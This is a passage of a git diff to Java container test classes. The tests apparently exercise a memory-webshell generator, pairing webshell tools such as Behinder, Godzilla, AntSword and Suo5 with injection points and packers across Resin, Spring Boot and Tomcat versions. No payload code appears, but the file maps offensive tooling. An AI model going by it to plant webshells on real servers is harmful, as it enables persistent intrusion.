arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+19
-12
@@ -43,29 +43,36 @@ public class Resin4058ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+19
-12
@@ -43,29 +43,36 @@ public class Resin4067ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||
|
||||
+7
@@ -55,6 +55,9 @@ public class SpringBoot2ContainerTest {
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packers.Base64),
|
||||
@@ -67,6 +70,10 @@ public class SpringBoot2ContainerTest {
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Suo5, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.ScriptEngine),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.SpEL),
|
||||
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.AntSword, Packers.Base64),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.AntSword, Packers.AgentJar),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packers.AgentJar)
|
||||
|
||||
+16
-16
@@ -43,52 +43,52 @@ public class Tomcat10ContainerTest {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
|
||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||
|
||||
+28
-16
@@ -43,52 +43,64 @@ public class Tomcat5ContainerTest {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize)
|
||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSPX),
|
||||
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize)
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar)
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||
// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||
|
||||
+26
-16
@@ -43,40 +43,50 @@ public class Tomcat6ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||
